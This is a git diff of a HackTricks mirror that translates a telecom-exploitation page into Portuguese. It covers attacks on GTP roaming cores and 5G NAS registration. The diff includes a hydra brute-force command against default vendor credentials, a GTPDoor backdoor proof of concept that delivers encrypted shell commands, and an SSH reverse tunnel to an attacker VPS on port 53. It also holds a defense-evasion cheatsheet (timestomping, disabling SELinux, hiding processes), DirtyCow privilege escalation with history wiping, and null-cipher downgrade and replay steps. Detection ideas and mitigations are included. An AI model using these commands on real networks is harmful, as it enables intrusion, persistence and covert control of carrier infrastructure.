mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
cba48dd752
commit
9303056f0d
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# Exploração de Redes de Telecom (GTP / Ambientes de Roaming)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles utilizam UDP simples com quase nenhuma autenticação, **qualquer ponto de acesso dentro de um perímetro de telecomunicações geralmente pode alcançar diretamente os planos de sinalização central**. As seguintes notas coletam truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
> Os protocolos do core móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer foothold dentro do perímetro de uma telecom geralmente pode atingir diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na natureza contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
|
||||
## 1. Recon & Acesso Inicial
|
||||
|
||||
### 1.1 Contas OSS / NE Padrão
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores vem com usuários SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma lista de palavras dedicada aumenta dramaticamente o sucesso de força bruta:
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet codificados, como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se o dispositivo expuser apenas um VRF de gerenciamento, faça um pivot através de um host de salto primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
Se o dispositivo expõe apenas uma management VRF, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
|
||||
### 1.2 Descoberta de Host dentro do GRX/IPX
|
||||
A maioria dos operadores de GRX ainda permite **ICMP echo** através da espinha dorsal. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os ouvintes GTP-C:
|
||||
### 1.2 Descoberta de Hosts dentro do GRX/IPX
|
||||
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as probes UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerando Assinantes – `cordscan`
|
||||
## 2. Enumeração de Assinantes – `cordscan`
|
||||
|
||||
A seguir, a ferramenta Go cria pacotes de **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que atende o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
A ferramenta em Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que está servindo o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -32,17 +32,17 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
Principais flags:
|
||||
- `--imsi` IMSI do assinante alvo
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Escrever pacotes brutos em pcap
|
||||
- `-w` Grava pacotes brutos em pcap
|
||||
|
||||
Constantes importantes dentro do binário podem ser corrigidas para ampliar as varreduras:
|
||||
Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Execução de Código sobre GTP – `GTPDoor`
|
||||
## 3. Execução de código sobre GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` é um pequeno serviço ELF que **vincula UDP 2123 e analisa cada pacote GTP-C recebido**. Quando a carga útil começa com uma tag pré-compartilhada, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response** para que nenhuma sessão externa seja criada.
|
||||
`GTPDoor` é um pequeno serviço ELF que **associa-se ao UDP 2123 e analisa cada pacote GTP-C recebido**. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nenhuma sessão de saída é criada.
|
||||
|
||||
Pacote PoC mínimo (Python):
|
||||
```python
|
||||
@ -53,37 +53,37 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detecção:
|
||||
* qualquer host enviando **Solicitações de Eco desbalanceadas** para IPs do SGSN
|
||||
* sinalizador da versão GTP definido como 1 enquanto o tipo de mensagem = 1 (Eco) – desvio da especificação
|
||||
* qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN
|
||||
* GTP version flag set to 1 while message type = 1 (Echo) – desvio da especificação
|
||||
|
||||
## 4. Pivotando Através do Core
|
||||
## 4. Pivoting Through the Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fornece um emulador de SGSN capaz de **estabelecer um contexto PDP em direção a um GGSN/PGW real**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do par de roaming.
|
||||
`OsmoGGSN` inclui um emulador de SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Com o hair-pinning adequado do firewall, este túnel contorna VLANs apenas de sinalização e te leva diretamente ao **data plane**.
|
||||
Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e coloca você diretamente no **plano de dados**.
|
||||
|
||||
### 4.2 Túnel Reverso SSH pela Porta 53
|
||||
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando na :53 e retorne mais tarde de casa:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando na :53 e retorne mais tarde de casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifique se `GatewayPorts yes` está habilitado no VPS.
|
||||
Verifique se `GatewayPorts yes` está ativado no VPS.
|
||||
|
||||
## 5. Canais Ocultos
|
||||
## 5. Canais Clandestinos
|
||||
|
||||
| Canal | Transporte | Decodificação | Notas |
|
||||
|-------|------------|---------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chave de 4 bytes + pedaços de 14 bytes (XOR) | ouvinte passivo puro, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (chave = `funnyAndHappy`) codificado em octetos de registro A | observa subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC em IE privado | mistura-se com conversas legítimas de GTP-C |
|
||||
|-------|-----------|--------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | observa o subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se com o chatter legítimo de GTP |
|
||||
|
||||
Todos os implantes implementam watchdogs que **timestomp** seus binários e reanimam se travarem.
|
||||
Todos os implants implementam watchdogs que **timestomp** seus binaries e re-spawn se travarem.
|
||||
|
||||
## 6. Cheatsheet de Evasão de Defesa
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Escalação de Privilégios em NE Legado
|
||||
## 7. Privilege Escalation em Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -116,25 +116,132 @@ Dica de limpeza:
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Ferramentas
|
||||
## 8. Caixa de Ferramentas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – ferramentas personalizadas descritas nas seções anteriores.
|
||||
* `FScan` : varreduras TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS WPAD malicioso
|
||||
* `Microsocks` + `ProxyChains` : pivotagem leve SOCKS5
|
||||
* `FRP` (≥0.37) : travessia NAT / ponte de ativos
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
O procedimento de registration 5G corre sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada via Security Mode Command/Complete, mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança possibilita múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Dicas para laboratório (non-RF):
|
||||
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
|
||||
- UE: simulador ou UE de teste; decodifique usando Wireshark.
|
||||
- Ferramentas ativas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtros úteis de exibição no Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.
|
||||
|
||||
Como testar:
|
||||
- Capture a primeira mensagem NAS no InitialUEMessage e inspecione o Mobile Identity IE.
|
||||
- Checks rápidos no Wireshark:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leak.
|
||||
|
||||
O que coletar:
|
||||
- MCC/MNC/MSIN se expostos; log por UE e rastreie ao longo do tempo/locais.
|
||||
|
||||
Mitigação:
|
||||
- Forçar UEs/USIMs a usar apenas SUCI; alertar em qualquer IMSI/SUPI no NAS inicial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
|
||||
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
|
||||
|
||||
Problema:
|
||||
- Como o Registration Request não é integrity protected, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
|
||||
|
||||
Passos ofensivos:
|
||||
- Interceptar InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
|
||||
- Com Sni5Gect, hook a mensagem NAS e patch os capability bits antes de encaminhar.
|
||||
- Observar se o AMF aceita null ciphers/integrity e completa o Security Mode com EEA0/EIA0.
|
||||
|
||||
Verificação/visibilidade:
|
||||
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigações (obrigatórias):
|
||||
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
|
||||
- Prefira impor EEA2/EIA2 como mínimo; registre e alerte sobre qualquer contexto de segurança NAS que negocie algoritmos nulos.
|
||||
|
||||
### 9.3 Repetição da initial Registration Request (NAS pré-segurança)
|
||||
Porque o NAS inicial não tem integridade nem frescor, a InitialUEMessage+Registration Request capturada pode ser repetida para o AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
O que observar:
|
||||
- Se o AMF aceita o replay e prossegue para Authentication; a falta de validação de freshness/context indica exposição.
|
||||
|
||||
Mitigações:
|
||||
- Aplicar proteção contra replay/vínculo de contexto no AMF; limitar taxa e correlacionar por-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: iniciar um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
|
||||
- Wireshark: verificar as decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
|
||||
- 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
|
||||
- Sni5Gect: live sniff/modify/inject no plano de controle NAS para coagir algoritmos null ou perturbar sequências de authentication.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto puro; bloquear dispositivos/USIMs ofensores.
|
||||
- Rejeitar EEA0/EIA0 exceto para procedimentos de emergência estritamente definidos; exigir no mínimo EEA2/EIA2.
|
||||
- Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
|
||||
- Alertar sobre modos de segurança NAS que resultem em algoritmos null ou replays frequentes de InitialUEMessage.
|
||||
|
||||
---
|
||||
## Ideias de Detecção
|
||||
1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Solicitações de Criação de Contexto PDP**.
|
||||
2. **Portas não padrão (53, 80, 443) recebendo handshakes SSH** de IPs internos.
|
||||
3. **Solicitações de Eco frequentes sem Respostas de Eco correspondentes** – podem indicar sinais do GTPDoor.
|
||||
4. **Alta taxa de tráfego de resposta de eco ICMP com campos de identificador/sequência grandes e não nulos**.
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltração de Redes de Telecomunicações Globais](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protocolo de Tunelamento GPRS (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user